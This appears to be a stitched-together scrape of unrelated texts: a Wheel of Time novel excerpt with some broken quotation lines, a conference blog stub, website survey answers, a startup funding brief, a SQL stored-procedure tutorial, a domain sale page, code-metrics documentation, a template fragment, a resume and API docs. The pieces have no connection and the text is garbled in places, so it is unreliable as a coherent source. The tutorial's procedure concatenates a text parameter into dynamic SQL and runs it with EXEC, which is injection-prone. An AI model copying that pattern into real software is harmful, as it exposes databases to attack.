Rand missed a step. That was the first time today that Lews Therin’s voice had spoken inside his head—and too much like a comment on his thoughts of Aes Sedai for comfort—but it was not what made him swallow what he had been going to say and stop dead.
Because of the heat the doors stood open, giving out into one of the Palace gardens. The flowers were gone, and some of the rose and whitestar bushes looked wilted, but the shade trees still stood, if with few leaves, around the white marble fountain that splashed in the garden’s heart. A woman in bulky brown wool skirts and a loose white algode blouse stood beside the fountain, a gray shawl looped over her arms, staring in wonder as she often did at water with no use except to be looked at. Rand’s eyes drank in the lines of Aviendha’s face, the waves of reddish hair falling to her shoulders from the folded gray scarf fastened around her temples. Light but she was beautiful. Studying the spray of water, she had not seen him yet.
Did he love her? He did not know.  What he did know was that he was dangerous; he had nothing to offer any woman except pain.
Ilyena, Lews Therin wept.  The Light consume me forever!
“A pair of Aes Sedai showing up like that might be important,” Rand said quietly. “I think I should visit this inn and see why they’re here.” Almost everyone stopped when he did, but Enaila and Jalani exchanged glances and kept on right past him toward the garden. He raised his voice a fraction and hardened it considerably more. “The Maidens here will come with me. Anyone who wants to put on a dress and discuss matchmaking can stay behind.”
Enaila and Jalani stiffened and spun to face him, indignation lighting their eyes. A good thing Somara was not in today’s guard; she might have gone on anyway. Sulin’s fingers flashed in Maiden handtalk, and whatever she had to say, it quenched indignation and set embarrassed flames in the two Maidens’ cheeks instead. The Aiel had all sorts of hand signals for when silence was best. Every clan had its private set, and every society as well, besides which there were those all the Aiel knew, but only the Maidens had made a language of them.
Rand did not wait for Sulin to finish before turning away from the garden. These Aes Sedai might leave Caemlyn as quickly as they had come. He glanced over his shoulder. Aviendha was still staring at the water; she had not seen him. He quickened his step. “Bashere, would you send one of your men to have horses readied? At the South Stable Gate.” The main gates of the Palace opened onto the Queen’s Plaza, which would be full of people hoping for a glimpse of him. It would have taken half an hour to make a way through, if he was lucky.
Bashere motioned, and one of the younger Saldaeans loped ahead in that rolling stride of a man more used to a saddle. “A man must know when to retreat from a woman,” Bashere said to the air, “but a wise man knows that sometimes he must stand and face her.”
“Young men,” Bael said indulgently. “A young man chases shadows and runs from moonlight, and in the end he stabs himself in the foot with his own spear.” Some of the other Aiel chuckled, Maidens and Knife Hands alike. The older ones did.
Irritated, Rand looked over his shoulder again. “Neither of you would look well in a dress.” Surprisingly, the Maidens and Knife Hands laughed again, more loudly. Maybe he was getting a grip on Aiel humor.
It was as he expected when he rode out of the South Stable Gate into one of the Inner City’s curving streets. Jeade’en’s hooves rang on the paving stones as the stallion frisked; the dapple seldom got out of the stable of late. There were plenty of people in the street, but nowhere near the numbers to be expected on the other side of the palace and all going about their own business. Even so, fingers pointed, and people leaned close to one another, murmuring. Some might have recognized Bashere—unlike Rand, he had been out and about in the city often—but anybody emerging from the Palace, especially with an escort of trotting Aiel, had to be important. The murmurs and pointing fingers followed.
Despite the stares, Rand tried to enjoy the beauties of the Ogier-built Inner City. The few occasions he found to just enjoy anything were precious. Streets curved out from the shining white Royal Palace, flowing along the contours of the hills like a part of the land. Everywhere stood slender towers covered in colored tiles, or domes of gold or purple or white, sparkling in the sunlight. Here a line of sight had been left clear to give a view of tree-filled park, there a rise threw the eyes across the city to the rolling plains and forests beyond the tall silver-streaked white wall that enclosed all of Caemlyn. The Inner City had been laid out to delight and soothe the eye. According to the Ogier, only Tar Valon itself and storied Manetheren had ever surpassed it, and many humans, Andorans foremost among them, believed that Caemlyn matched either.
The pure white walls of the Inner City marked the beginning of the surrounding New City, with its own domes and spires, some trying to match the height of those in the Inner City on its higher hills. Here the narrower streets were packed full of humanity, and even the broad boulevards, split down the middle by tree-lined expanses, were filled with people and ox-carts and horse-drawn wagons, folk on horseback and in carriages and sedan chairs. A buzz hung in the air, as from a huge hive of bees.
Passage was slower here, though the crowds gave way. They did not know who he was any more than did those in the Inner City, but no one wanted to get in the way of striding Aiel. It simply took time with so many people. And there was every sort of person. Farmers in rough woolens and merchants in coats or dresses of finer cut. Craftsmen hurrying about their trades and hawkers crying their wares from trays and pushcarts, everything from pins and ribbons to fruit and fireworks, the last two equally dear now. A gleeman in his patch-covered cloak rubbed shoulders with three Aiel inspecting the blades displayed on tables before a cutler’s workshop. Two lean fellows with their dark hair in braids and swords on their backs—Hunters for the Horn, Rand expected—stood chatting with a number of Saldaeans as they listened to a woman playing the flute and a man the tambour on a street corner. Cairhienin, shorter and paler, stood out among the Andorans, and so did the darker Tairens, but Rand saw Murandians in long coats and Altarans in elaborate vests, fork-bearded Kandori, even a pair of Domani with long thin mustaches and earrings.
Another sort of people stood out too, those who wandered about in rumpled coats and wrinkled dresses, often dusty and always blinking and staring, plainly with nowhere to go and no idea of what to do next. That sort had gone as far as they could toward what they sought. Him. The Dragon Reborn. What he was to do with them he had no notion, yet they were his responsibility, one way or another. No matter that he had not asked them to throw over their lives, had not wanted them to abandon everything. They had. Because of him. And if they learned who he was, they might well overwhelm the Aiel and tear him apart in their eagerness just to touch him.
He touched the fat-little-man angreal in his coat pocket. A fine thing, if it came to him using the One Power to protect himself against people who had given up everything because of him. That was why he seldom ventured into the city. One reason, anyway. There was just too much to be done to go for an idle ride.
The inn Bael led him to, toward the western end of the city, was called Culain’s Hound, three stories of stone with a red tile roof. On the twisting side street, the passing throng backed up both ways, narrowing to crowd around Rand’s party when it stopped. Rand touched the angreal again—two Aes Sedai; he should be able to handle them without resorting to that—before dismounting and going in. Not before three Maidens and a pair of Knife Hands, of course, all on their toes and a hair from veiling. He could have taught a cat to sing first. Leaving two Saldaeans with the horses, Bashere and the others strode in at his heels along with Bael, the rest of the Aiel following except for those who had taken up guard outside. What they found was not what Rand expected.
The common room could have changed places with any of a hundred or more in Caemlyn, great barrels of ale and wine lining one plain plastered wall, topped with smaller casks of brandy, and a gray-striped cat sprawled on top of all, a pair of stone fireplaces, the hearths swept bare, and three or four aproned serving women moving among tables and benches scattered around a bare wooden floor beneath a beamed ceiling.  Caemlyn had learned they were not going to pillage and burn everything in sight—convincing the Aiel that Andor was not a conquered land and they could not take the fifth had been a harder proposition—but that was not to say innkeepers were used to having two dozen appear in their common rooms at once.
The innkeeper concentrated on Rand and Bashere. Mainly on Bashere. Both were clearly men of substance by their clothes, but Bashere was the elder by a good many years and thus likely to be the more important, “Welcome, my Lord, my Lords. What may I offer you? I have wines from Murandy as well as Andoran, brandy from . . . ”
Rand ignored the man. What was not like a hundred other common rooms was the patrons. At this hour he would have expected one or two men perhaps, but there were none. Instead most of the tables were filled with plainly dressed young women, girls really for the most part, who twisted around on their benches, teacups in hand, to gawk at the new arrivals. More than one gasped at Bael’s height. Not all of them stared at the Aiel, though, and it was the near dozen who gaped at him that made Rand’s eyes widen. He knew them. Not all well, but he did know them. One in particular seized his attention.
“Bode?” he said in disbelief. That big-eyed girl staring at him—when had she gotten old enough to put her hair in a braid?—was Bodewhin Cauthon, Mat’s sister. And there was plump Hilde Barran sitting next to skinny Jerilin al’Caar, and pretty Marisa Ahan, with her hands clapped to her cheeks the way she always did when surprised, and buxom Emry Lewin and Elise Marwin and Darea Candwin and . . . they were from Emond’s Field, or close by. Darting a look over the rest of the tables, he realized the others must be Two Rivers girls, too. Most of them, anyway—he saw a Domani face, and one or two more that might well be from off—but every dress could have been seen any day on the Green in Emond’s Field. “What under the Light are you doing here?”
“We are on our way to Tar Valon,” Bode managed despite gaping. The only thing about her that looked at all like Mat was a mischievous something around the eyes. Her astonishment at seeing him vanished quickly in a broad smile of wonder and delight. “To become Aes Sedai, like Egwene and Nynaeve.”
“We could ask the same of you,” willowy Larine Ayellin put in, arranging her thick braid over her shoulder with studied casualness. The oldest of the Emond’s Field girls—a good three years younger than him, but the only one besides Bode to have her hair braided—she had always had a good opinion of herself. She was pretty enough for all the boys to have confirmed it for her. “Lord Perrin hardly said two words about you except to say you were off having adventures. And wearing fine coats, which I see you are.”
“Is Mat well?” Bode asked, suddenly anxious. “Is he with you? Mother worries about him so. He wouldn’t even remember to put on clean stockings if someone didn’t tell him.”
“No,” Rand said slowly, “he’s not here. But he’s well.”
“We hardly expected to find you in Caemlyn,” Jancy Torfinn piped up in her high voice. She could not be more than fourteen; she was the youngest, at least among the Emond’s Fielders. “Verin Sedai and Alanna Sedai will be pleased, I’ll wager. They’re always asking what we know about you.”
So those were the two Aes Sedai. He knew Verin, a Brown sister, more than slightly. He did not know what to think about her being here, though. That was hardly most important anyway. These girls were from home. “Everything is all right in the Two Rivers, then? In Emond’s Field? Perrin got there all right, it seems. Wait! Lord Perrin?”
That opened the sluice gate. The rest of the Two Rivers girls were more interested in studying the Aiel with sidelong peeks, especially Bael, and a few spared glances for the Saldaeans, but the Emond’s Field girls crowded around Rand, all trying to tell him everything at once, all jumbled up and wrong way round, interspersed with questions about himself and Mat, about Egwene and Nynaeve, most of which he could not have answered in under an hour had they given him a chance.
Trollocs had invaded the Two Rivers, but Lord Perrin drove them off. They went on so about the great battle, everyone talking at the same time, that it was hard to pick out any details except that there had been one. Everybody fought, of course, but it had been Lord Perrin who saved everybody. Always Lord Perrin; any time he said just Perrin they corrected him in the perfunctory way they might someone who said horse when he should have said sawhorse.
Even with the news that the Trollocs were beaten, Rand’s chest tightened. He had abandoned them to this. If he had gone, there might not have been such a long list of the dead, so many names that he knew. But if he had gone, he would not have the Aiel behind him. Cairhien would not be his, as much as it was, and Rahvin would likely be sending a united Andor against him and the Two Rivers. There was a price to be paid for any decision he made. There was a price for who he was. Other people paid it. He had to keep reminding himself that it was a far smaller price than they would pay without him. The reminder did not help much, though.
Taking his expression for dismay at the listing of Two Rivers’ dead, the girls hastened on to happier things. It seemed Perrin had married Faile, too. Rand wished him happiness in that, and wondered how long any happiness they found could last. The girls thought it romantic and wonderful, and only seemed to regret that there had been no time for the usual wedding parties. They were quite approving of Faile, quite admiring, and a touch envious, even Larine.
There had been Whitecloaks, too, and with them Padan Fain, the old peddler who used to come to Emond’s Field every spring. The girls seemed unsure whether the Whitecloaks had been friends or enemies, but to Rand, Fain made the difference if there was any real doubt. Fain was a Darkfriend, maybe worse than a Darkfriend, who would do anything to harm Rand and Mat and Perrin. Especially Rand. Maybe the worst news they had to tell him was that no one knew whether Fain was dead. In any case, the Whitecloaks were gone, the Trollocs were gone, and refugees were flooding in across the Mountains of Mist, bringing all sorts of new things, from customs to trades, plants and seeds to clothes. One of the other girls was a Domani, and there were two Taraboners and three from Almoth Plain.
 Larine raised her hand, then thought better of it and simply rearranged her braid with a sniff. Jancy giggled.
“Who cares about dresses?” Susa al’Seen exclaimed. “Rand doesn’t care about dresses.” A slight, fluttery girl, Susa had always been excitable, and right now she was bouncing on her toes. “Alanna Sedai and Verin Sedai tested everybody. Well. Almost everybody . . . ”
“Cilia Cole wanted to be tested, too,” Marce Eldin, a stocky girl, put in. Rand did not much remember her, except that she had always had her nose in a book, even walking in the street. “She insisted! She passed, but they told her she was too old to be a novice.”
Susa went right on over Marce. “ . . . and we all passed . . . ”
“We’ve been traveling all day and practically all night since Whitebridge,” Bode put in.  Jancy said on top of Bode. “The White Bridge itself?”
“ . . . and we’re going to Tar Valon to become Aes Sedai!” Susa finished with a glare that took in Bode, Marce and Jancy. “In Tar Valon!”
“We will not be going to Tar Valon just yet.”
The voice from the door to the street spun the girls’ attention from Rand, but the two Aes Sedai just coming in waved aside their questions offhandedly. The Aes Sedai’s regard was all for Rand. They were disparate women, despite the common link of their faces. Either could have been any age at all, but Verin was short and plump, square-faced, with a touch of gray in her hair, while the other, who must be Alanna, was dark and slender, a beautiful vulpine woman with waves of black hair and a light in her eyes that spoke of a temper. And with a slight redness around them, as if she had been crying, though Rand could hardly believe an Aes Sedai weeping. Her riding dress was gray silk slashed with green, and looked as if she had just donned it, while Verin’s pale brown appeared slightly rumpled.  They latched on to Rand as tightly as mussels on a rock.
Two men in dull green coats followed them into the common room, one stocky and gray-haired, the other a tall dark whip of a man, but each had a sword on his hip, and the fluid way they moved would have named them Warders even without the Aes Sedai. They ignored Rand entirely, instead watching the Aiel and Saldaeans with a stillness that spoke of sudden movement in check. For their part, the Aiel did not move exactly, but there was an air of veils going up about them, Maidens and Knife Hands alike, and the young Saldaeans’ fingers suddenly hovered near sword hilts. Only Bael and Bashere appeared truly at ease. The girls noticed nothing except the Aes Sedai, but the fat innkeeper sensed the mood and began wringing his hands, no doubt seeing his common room destroyed, if not his whole inn.
“There will be no trouble,” Rand said loudly and levelly, for the innkeeper, for the Aiel. For everyone, he hoped. “No trouble unless you start it, Verin.” Several of the girls goggled at him, speaking so to an Aes Sedai, and Larine sniffed loudly.
 “Who are we to start trouble near you? You have come far since I saw you last.”
For some reason, he did not want to talk about that. “If you’ve decided not to go to Tar Valon, then you must have heard the Tower is broken.” That caused a startled buzz among the girls; they certainly had not heard. The Aes Sedai gave no reaction at all. “Do you know where those who oppose Elaida are?”
“There are things we should discuss in private,” Alanna said calmly. “Master Dilham, we will need your private dining room.” The innkeeper nearly fell over himself assuring her that it was at her disposal.
Verin started toward a side door. “This way, Rand.” Alanna looked at him, raising a questioning eyebrow.
Rand held in a wry grin. They had just walked in and taken charge, but it seemed that Aes Sedai did that as naturally as breathing. The Two Rivers girls stared at him with varying degrees of commiseration. Doubtless they expected the Aes Sedai to skin him if he did not speak right and sit straight. Perhaps Verin and Alanna did, too. With a smooth bow he motioned for Alanna to proceed him. So he had come a long way, had he? They had no idea how far.
Alanna acknowledged his bow with a nod, gathered her skirts and glided after Verin, but trouble followed immediately. The two Warders made as if to trail the Aes Sedai, and before they had taken a full step a pair of cold-eyed Sovin Nai moved to block them, while Sulin’s fingers flickered in handtalk, sending Enaila and a blocky Maiden named Dagendra toward the door the Aes Sedai were approaching. The Saldaeans looked to Bashere, who gestured for them to stay, but then he himself looked a question at Rand.
Alanna made a vexed sound. “We will speak with him alone, Ihvon.” The slender Warder frowned, then nodded slowly.
Verin glanced back, looking slightly startled, as though pulled from deep thought. “What? Oh, yes, of course. Tomas, stay here, please.” The gray-haired Warder appeared doubtful, and he gave Rand a hard look before lounging back against the wall beside the door to the street. At least, he was lounging if a tripwire could be said to be lounging. Only then did the Knife Hands relax—as much as Aiel ever relaxed.
“I want to talk to them alone,” Rand said, looking straight at Sulin. For a moment he thought she meant to dispute him. Her jaw firmed stubbornly; finally handtalk passed between her, Enaila and Dagendra, and they moved back, looking at him and shaking their heads in disapproval. Sulin’s fingers moved again, and all the Maidens laughed. He wished there was some way to learn handtalk; Sulin had been scandalized when he asked.
Confused looks passed among the Two Rivers girls as Rand started after the Aes Sedai, and he closed the door behind them on a rising buzz. It was a small room, but with polished chairs instead of benches and pewter candlesticks on both the polished table and the vine-carved mantel above the fireplace. The two windows were shut, yet no one made a move to open one. He wondered if either Aes Sedai had noticed that the heat touched him no more than it did them.
“Will you be taking them to the rebels?” he asked immediately.
Frowning, Verin smoothed her skirts. “You know considerably more about that than we do.”
“We did not hear of events in the Tower until Whitebridge.” Alanna’s tone was cool, but there was heat in the eyes she kept fixed on him. “What do you know of . . . rebels?” A world of distaste entered her voice with that word.
So they had heard the rumors first in Whitebridge, and made haste here, keeping everything from the girls. And by the reactions of Bode and the others, the decision not to go to Tar Valon was fresh. Seemingly they had found confirmation this morning.  They merely looked at him, Verin tilting her head to study him. Strange how Aes Sedai gazes had been so unsettling once, so serene whatever was happening, so knowing. Having an Aes Sedai stare at him, or even two, no longer made his stomach turn uneasily. Pride, Lews Therin laughed madly; and Rand suppressed a grimace. “I’ve been told rebels exist. You haven’t denied knowing where they are. I mean no harm to them, far from it. I have reason to believe they might support me.” He kept back his main reason for wanting to know. Perhaps Bashere was right, perhaps he did need Aes Sedai backing, but mainly he wanted to know because he had been told Elayne was with them. He needed her to gain Andor peacefully. That was his only motive in seeking her. The only one. He was as dangerous to her as to Aviendha. “For the love of the Light, if you know, tell me.”
“If we did know,” Alanna replied, “we would have no right to tell anyone.
He smiled grimly. He should have expected as much, or as little.  Trust no woman who wore the shawl on the day she died.
“Is Mat with you?” Alanna asked as if that were the last thing on her mind really.
“If I knew where he was, why should I tell you? Turn and turn about?” They did not seem to think that was funny.
“It is foolish to treat us as enemies,” Alanna murmured, moving toward him. “You look tired. Are you getting enough rest?” He stepped back from her raised hand, and she stopped. “Like you, Rand, I mean no harm. Nothing I do here will cause you any injury.”
Since she had said it straight out, it must be so. He nodded, and she raised her hand to his head. His skin tingled faintly as she embraced saidar, and a familiar warm ripple passed through him, the feel of her checking his health.
Alanna nodded in satisfaction. And suddenly the warmth was heat, one great flash of it, as if he stood for a heartbeat in the middle of a roaring furnace. Even after it passed, he felt odd, aware of himself as he never had been before, aware of Alanna. He swayed, head light, muscles watery. An echo of confusion and unease rang from Lews Therin.
“What did you do?” he demanded. In a fury, he seized saidin. The strength of it helped hold him upright. “What did you do?”
Something beat at the flow between him and the True Source. They were trying to shield him! Weaving his own shields, he slammed them into place. He truly had gone far, and learned much, since Verin last saw him. Verin staggered, putting a hand on the table for support, and Alanna grunted as if he had punched her.
“What did you do?” Even deep in the cold emotionless Void as he was, his voice grated. “Tell me! I made no promises not to hurt you. If you don’t tell me—”
“She bonded you,” Verin said quickly, but if her serenity had been ruffled, it cloaked her again in an instant. “She bonded you as one of her Warders. That is all.”
Alanna recovered her composure even faster.  Contentment! “I said I would not injure you, and I have done exactly the opposite of injury.”
Drawing deep slow breaths, Rand tried to settle himself. He had walked into it like a puppy. Rage crawled across the outside of the Void. Calm. He must be calm. One of her Warders. She was Green then; not that that made any difference. He knew little of Warders, certainly not how to break the bond, or if it could be broken. All Rand felt from Lews Therin was a sense of stunned shock. Not for the first time Rand wished Lan had not gone galloping away after Moiraine died.
“You said you won’t be going to Tar Valon. In that case, since you don’t seem to know whether you know where the rebels are, you can remain here in Caemlyn.” Alanna opened her mouth, but he rode over her. “Be grateful if I decide not to tie off those shields and leave you like that!” That got their attention. Verin’s mouth tightened, and Alanna’s eyes could have done for that furnace he had felt. “You will stay away from me, though. Both of you. Unless I send for you, the Inner City is barred to you. Try to break that, and I will leave you shielded, and in a cell besides. Do we understand one another?”
“Perfectly.” Despite her eyes, Alanna’s voice was ice. Verin merely nodded.
Flinging open the door, Rand stopped. He had forgotten the Two Rivers girls. Some were talking to the Maidens, some were just studying them and whispering over their tea. Bode and a handful of the Emond’s Fielders were questioning Bashere, who had a pewter mug in his fist and one foot up on a bench. They looked half-entertained, half-aghast. The door banging open whipped their heads around.
“Rand,” Bode exclaimed, “this man is saying awful things about you.”
“He says you’re the Dragon Reborn,” Larine spluttered. The girls in the rest of the room apparently had not heard; they gasped.
“I am,” Rand said wearily.
Larine sniffed and folded her arms beneath her breasts.  I knew it before you talked so disrespectfully to Alanna Sedai and Verin Sedai. But I didn’t know you had become a stone blind jack-fool.”
Bode’s laugh was more appalled than amused. “You shouldn’t say such a thing even as a joke, Rand. Tam raised you better than that. You’re Rand al’Thor. Now stop this foolishness.”
Rand al’Thor. That was his name, but he hardly knew who he was. Tam al’Thor had raised him, but his father had been an Aiel chief, now long dead. His mother had been a Maiden, but not Aiel. That was as much as he really knew of who he was.
Saidin still filled him. Gently he wrapped Bode and Larine in flows of Air and lifted them until their shoes dangled a foot above the floor. “I am the Dragon Reborn. Denying won’t change it. Wishing won’t change it. I’m not the man you knew back in Emond’s Field. Do you understand now? Do you?” He realized he was shouting and clamped his mouth shut. His stomach was lead, and he was trembling. Why had Alanna done what she did? What Aes Sedai scheme was hatching behind that pretty face? Trust none of them, Moiraine had said.

“Please let them down,” Alanna said. “Please. They are frightened.”
They were more than frightened. Larine’s face seemed drained of blood, and her mouth gaped as wide as it would go, as if she wanted to scream and had forgotten how. Bode was sobbing so hard she quivered. They were not the only ones. The rest of the Two Rivers girls had huddled together as far from him as they could get, and most of them were crying too. The serving maids were in that tight cluster as well, weeping as hard as anyone else. The innkeeper had sagged to his knees, goggle-eyed and gurgling wordlessly.
Rand eased the two girls back down and hastily let go of saidin. “I’m sorry. I didn’t mean to scare you.” As soon as they could move, Bode and Larine fled to join the other girls clutching one another. “Bode? Larine? I’m sorry. I won’t hurt you, I promise.” They did not look at him. None of them did. Sulin was certainly looking at him, and the rest of the Maidens too, blank-faced, flat-eyed disapproving stares.
“What’s done is done,” Bashere said, setting down his mug. “Who knows? Perhaps it’s for the best.”
Rand nodded slowly. It probably was. Best that they wanted to stay clear of him. Best for them. He just wished he could have talked a little while longer about home. A little while longer with them seeing only Rand al’Thor. His knees still wobbled from the bonding, but once he began moving, he did not stop until he was back in Jeade’en’s saddle. Best that they were afraid of him. Best that he forgot the Two Rivers. He wondered whether that mountain ever got lighter for a time, or only kept on getting heavier.


---
date: "2011-06-16T00:00:00Z"
published: true
status: publish
categories:
- Programming
tags:
- android
- Mobile
title: Slide deck and code from Prairie Developers Conference 2011
type: post
---
For those wanted the slide-decks and code from my talks at Prairie Developer's Conference 2011, you can find them up on GitHub. Thanks to all who attended. Maybe we'll see you again next year.


Lidiya Jebessa
<EMAIL_ADDRESS>Computer Science Student at SFSU
Raul A Serrano
<EMAIL_ADDRESS>Computer Science Student at SFSU
Osbaldo Martinez
<EMAIL_ADDRESS>Computer Science Student at SFSU
Nina Mir
<EMAIL_ADDRESS>Computer Science Student at SFSU
David Stillwagon
<EMAIL_ADDRESS>Computer Science Student at SFSU


BBC News is a global and national (UK) news service.
Linked In is a global career and contact repository for professionals.
SkillCrush is a technology educational site, promoting the improvement of coding skills within the female population.
This is my key source for news within the UK and around the world. It's easy to navigate, is smart about its headlines and content, and informative. It is visually easy to read and interpret and with no advertising, is 'noise-free'.
This is my key source of updates regarding work contacts, colleagues (old and new) and friends. It keep me appraised of key professional activities and helps me to reach out to new resources and keep in touch with old ones. It is easy to use and its search facility, enabling me to track down resource and contacts from all over the world, is impressive.
This female-focused website, largely written by women for women, is presented in an easy to understand and non-geeky way which results in coding fundamentals being easier to understand and absorb.
I am immediately drawn to the burgundy banner and BBC emblem, which generate a comforting response from me as I recognise and identify with the brand. Regarless of where I am in the world, I find it brings me a sense of attachment to what is going on in the world and at home.
As Linked In comprises my contacts, colleagues and friends, I am immediately drawn to their photos and posts, updating me (and all) of their professional thoughts, activities and events.
I like the simplicity of the SkillCrush site, it's orange colouring and simple, minimalist text and easy navigation.
Informative, Curious, Striking, Important, Clear
Busy, Cluttered, Trying-to-do-a-lot, Informative, Fragmented
Simple, Clean, Clear, Useful, Responsive
It provides global and local news from all around the world in the forms of text, audit and images. It reconnects the user with current affairs in a timely fashion, regardless of their location.
It enables professionals to keep connected and updated on each respective career paths and professional issues. It lists contacts, experience, updates and job opportunities.
It provides no-nonesense educational resources for those learning to code (as well as other skills) in all relevant coding languages.
Serious, Practical, Informative, Educational, Diverse.
Serious, Informative, Practical, Connecting, Interactions.
Fun, Educational, Engaging, Interesting, Informative.
Very easy
A struggle sometimes.
Relatively straight-forward.
Informed, Connected, Updated, Inspired.
Connected, Updated, Inspired, Frustrated, Envious.
Informed, Educated, Updated, Inspired, Entertained.
No.
Upgrades - have purchased as Linked In limits who you can contact directly without the upgrade.
Yes - but have yet to purchase any educational content but likely to.


IT Startup Loom Systems Raises $10 Million
Loom develops an AI-based log analysis platform designed to predict and prevent IT issues in businesses undergoing a digital transformation or cloud migration
by Meir OrbachIT incident predictor startup Loom Systems Inc. has raised a $10 million funding round, the company announced Wednesday. The round was led by Flint Capital, with participation from existing investors Meron Capital, Jerusalem Venture Partners, and Japanese venture firm Global Brain Corp. The company has raised $16 million to date.
Founded in 2015, Loom develops an AI-based log analysis platform designed to predict and prevent IT issues in businesses undergoing a digital transformation or cloud migration.
Loom intends to use the funds to grow its sales team in the U.S. and to double its 35-person workforce. The company currently has offices in Israel, New York, San Francisco, and Germany.


--- layout: post title: Stored procedures tags: [] status: publish type: post published: true meta: {} ---
As indicated previously, I have been doing a lot more database based stuff in recent months and hence I have learned a number of new things. In the following I'll be attempting to share my newly found knowledge on stored procedures and SQL case statements.
Let's start off by looking at some code:
CREATE PROCEDURE [dbo].[qGetBannerAd] (
@adBannerType int = NULL,
@ad_amsSectionID varchar(30) = NULL,
@adPageLocation int = NULL,
@NumOf int = 1
)
AS
DECLARE
@BaseSQL varchar(1000),
@SQLStatement varchar(8000)
/*
initialise the base SQL
if banner type is valueCLick get code
else get display name, filename, width and height
*/
IF @adBannerType = 0
SET @BaseSQL = 'SELECT TOP ' + cast(@NumOf as varchar(100)) + 'AD.adAdvertsID, AD.adCodeSnippet, AD.adRanking'
ELSE
SET @BaseSQL = 'SELECT TOP ' + cast(@NumOf as varchar(100)) + 'AD.adAdvertsID, AD.adDisplayName, AD.adBannerType, AD.adBannerLink, AD.adMaximumDisplays, AD.adRanking, AD.adHeight, AD.adWidth, AD.adFileName'
SET @BaseSQL = @BaseSQL + '
FROM tbl_Adverts_Details AD
WHERE getDate() BETWEEN AD.adStartDateTime AND AD.adEndDateTime
AND AD.adPublish = 1
AND AD.adIsDeleted = 0'
/* if an internal make sure it's not passed it's max display span */
IF @adBannerType = 1
SET @BaseSQL = @BaseSQL + ' AND AD.adTimesDisplayed < CASE AD.adMaximumDisplays WHEN - 1 THEN<PHONE_NUMBER>00000 ELSE AD.adMaximumDisplays END'
SET @SQLStatement = ' AND AD.adBannerType = ' + cast(@adBannerType as varchar(100)) + ' AND AD.ad_amsSectionID = ' + cast(@ad_amsSectionID as varchar(100)) + ' AND AD.adPageLocation = ' + cast(@adPageLocation as varchar(100))
/* Append the order by clause */
SET @SQLStatement = @BaseSQL + @SQLStatement + ' ORDER BY NewID()'
/* Exceute the SQL */
EXEC(@SQLStatement)
GO
This stored procedure was created to retrieve a set of Banner ads for an application we had developed. In the first instance we create the stored procedure (SP) and declare the parameters that it expects to take (these are prefixed by the'@' symbol). Next I declared a set of variables that I as to use to build up the SQL to be executed. As you can see after the declaration based on one of the parameters passed (@adBannerType) I determine which select statement to run and set it to @BaseSQL which I declared previously.
The rest of the SP follows the same kind of tack, only know I use the parameters passed to determine what kind of where clauses to run. Some things that may make you ponder at this stage are the CASE statement and ORDER BY NewID(), fear not I'll be covering these shortly.
Now we have our SP how do we test it? Simply open your Query Analyzer and using the above example the statement to execute would be:
exec qGetBannerAd 1,2,2,3
the comma delimited values are the parameters that the SP expects and these are provided in the sequence they are specified. If you fail to do that the SP will more than likely fail.


BETA This is a trial service. Help us improve it by This is a new service. Help us improve it by completing our quick survey


About nefties.com
You can't say NFTs without nefties.
This URL is for sale.
What value does this URL have?
- the URL is intuitive to NFTs
- it's only two syllables
- dotcom extension
- pronouncable in English
- spellable in English
- it stands poised for the takeoff of NFTs which will happen
- every time someone says "NFTs", they are saying the URL - you can't say NFTs without nefties
Get more info or make an offer
Contact: crrdlx@protonmail.com


Complexity Metrics
This page is showing the metrics relevant to the complexity, including:
Number of Attributes, which indicate the number of fields of a class.
Number of Local Methods, which count the methods that declared directly within the class.
Cyclomatic Complexity,
which is derived from McCabe. T4M calculate this metric by enhancing
McConnell's approach. We add 1 complexity if we meet the following syntax:
if
, while
, for
, &&
, ||
case or default of switch statement
, catch of try statement
,
and ternary conditional expression ? :
.
Detailed descriptions and influences: Maisqual - Cyclomatic Complexity, ARiSA - McCabe Cyclomatic Complexity.
Weighted Method Count, which is the sum of complexity of all local methods in a class.
Detailed descriptions and influences: Maisqual - Weighted Methods per Class, ARiSA - Weighted Method Count.
Max Complexity of Class, which is the maximum complexity of all local methods in a class.
Avg Complexity of Class, which is the average complexity of all local methods in a class.
Response For a Class, which is the number of methods which can respond to the message of a specific class. It is computed by counting a) the number of all methods including the inheritance methods but excluding the overwritten methods; b) the number of methods that are invoked by above methods.
Detailed descriptions and influences: Maisqual - Response For a class, ARiSA - Response For a class, Code Quality Testing Essentials - The Response for Class metric.


{{ define "main" }} 404 Notfound The page does not exist {{ end }} {{ define "aside" }}
The page does not exist


Accomplished and innovative analyst with nearly a decade of experience in urban and regional planning. Effective project manager. Skilled in a broad and growing range of geospatial, analytical, and web development technologies. Problem solver and relationship builder, doing my part for New York City.
ArcGIS Desktop ArcGIS Online ArcGIS Story Maps & Web AppBuilder QGIS HTML5 CSS JavaScript jQuery SQL Leaflet Mapbox CARTO Bootstrap Excel PowerPoint Adobe Creative Suite Writing & Editing Research Policy Analysis Customer Service Community Engagement
New York, NY
As part of the Planning Coordination team, develop data and tools to support planners engaged in neighborhood studies and land use application review. Empower city residents through the annual collection of Community District Statements of Need and Community Board Budget Requests. Identify and pursue opportunities for interagency data sharing and collaboration with partners in NYC government.
Upper Marlboro, MD
Served as the primary GIS resource for the Prince George's County Planning Department's Countywide Planning Division, providing maps, data, and analysis for over 30 planners. Led GIS projects for the Transportation, Environmental, and Historic Preservation Planning Sections, as well as county agencies and the Economic Development Corporation. Evaluated and analyzed proposed development projects, economic initiatives, and laws to help shape staff recommendations. Identified internal and external data needs; created tools to meet them.
La Plata, MD
Contract: Maryland-National Capital Park & Planning Commission
Contract: U.S. Department of Homeland Security
Riverdale, MD
New Maps Plus at the University of Kentucky
Completed an intensive curriculum of desktop and web-based spatial analysis, web map programming, and application design. Built skills in SQL, HTML, CSS, and JavaScript. My capstone project, Oil & Bone: American Ports in the Golden Age of Yankee Whaling, won the 2018 NACIS Student Dynamic Map Competition and is featured at whalinghistory.org.
The University of Georgia
Studied urban and economic geography, GIS, spatial statistics, and historic preservation. Examined the complex politics of historic preservation and wilderness conservation where they must operate in the same space in my thesis, Old Buildings and the New Wilderness: The Politics of Conservation in Cumberland Island, Georgia.
The University of Georgia
Washington, DC


MakefileEditor
Expression Extends:
class MakefileEditor extends createModuleEditor('Makefile')
Create and edit Makefiles. Includes ability to import package.json scripts.
Constructor Summary
| Public Constructor | ||
| public |
|
Method Summary
| Public Methods | ||
| public |
addComment(text: string): MakefileEditor Add Makefile comment |
|
| public |
addTask(name: string, tasks: string[], options: object): MakefileEditor Add task to Makefile (appended to end) |
|
| public |
addTaskDescription(task: string, description: string): MakefileEditor Add deescription to task for use during help task |
|
